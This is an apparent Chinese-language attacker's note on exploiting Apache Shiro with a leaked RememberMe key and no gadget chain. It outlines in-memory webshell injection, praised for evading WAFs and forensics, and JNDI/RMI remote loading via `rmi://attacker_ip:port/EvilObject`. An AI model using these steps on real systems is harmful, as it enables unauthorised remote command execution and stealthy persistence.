46 lines
2.9 KiB
Markdown
46 lines
2.9 KiB
Markdown
### Shiro 有 Key 无链怎么利用
|
||
|
||
**1. 内存马注入**
|
||
|
||
这是目前最主流且最有效的利用方法之一。如果能通过反序列化注入一个内存马，我们就可以直接与服务器进行交互，绕过 WAF、IDS 等安全设备，并且不留下任何磁盘文件
|
||
|
||
**利用原理**：
|
||
|
||
- **自定义反序列化类**：我们需要构造一个恶意的序列化数据，其中包含一个自定义的类
|
||
- **反射机制**：这个自定义类在反序列化时，其 `readObject` 方法会被调用。我们利用反射机制，在 `readObject` 方法中获取当前应用的 `ServletContext`
|
||
- **注入 Webshell**：有了 `ServletContext`，我们就可以动态地注册一个 Servlet、Filter 或者 Listener，从而注入一个内存 Webshell
|
||
|
||
**具体步骤**：
|
||
|
||
1. **编写内存马代码**：使用 Java 编写一个内存马，通常是一个 Filter 或 Servlet，用于接收请求并执行命令
|
||
2. **构造恶意序列化数据**：将内存马代码嵌入到序列化数据中
|
||
3. **加密**：使用泄露的 Shiro Key，对这个序列化数据进行 AES 加密
|
||
4. **发送请求**：将加密后的数据作为 RememberMe cookie 的值发送到服务器
|
||
5. **反序列化**：Shiro 框架会解密并反序列化这个 cookie，从而触发我们的恶意代码，实现内存马注入
|
||
|
||
**优势**：
|
||
|
||
- **绕过传统安全设备**：内存马直接运行在内存中，不依赖于文件，因此可以绕过绝大部分基于文件扫描的 WAF 和杀毒软件
|
||
- **无文件落地**：攻击不留下任何磁盘痕迹，增加了溯源的难度
|
||
|
||
**2. RMI 远程加载**
|
||
|
||
这种方法利用了 Java 的远程方法调用（RMI）机制，通过反序列化来触发远程加载恶意代码
|
||
|
||
**利用原理**：
|
||
|
||
- **JNDI 注入**：反序列化时，我们可以构造一个 `com.sun.jndi.rmi.registry.RegistryContext` 对象，通过 JNDI 注入的方式，让服务器去连接一个我们控制的 RMI 服务器
|
||
- **远程加载 Class 文件**：RMI 服务器会返回一个恶意对象，该对象会触发服务器远程加载并实例化我们提供的恶意 Class 文件
|
||
|
||
**具体步骤**：
|
||
|
||
1. **搭建 RMI Server**：利用 `ysoserial` 或自定义代码搭建一个恶意的 RMI 服务器
|
||
2. **编写恶意 Class**：编写一个恶意的 Class 文件，其中包含要执行的命令
|
||
3. **构造恶意序列化数据**：构造一个包含 JNDI 注入链接的序列化数据，例如 `rmi://attacker_ip:port/EvilObject`
|
||
4. **加密并发送**：使用 Shiro Key 对数据进行加密，并作为 RememberMe cookie 发送
|
||
5. **反序列化触发**：服务器反序列化时，会触发 JNDI 注入，连接我们的 RMI 服务器并加载恶意 Class，最终实现命令执行
|
||
|
||
**限制**：
|
||
|
||
- 需要目标服务器能够访问外网或者我们内网的 RMI 服务器
|
||
- Java 版本对 JNDI 注入有一定限制，高版本可能需要额外配置 |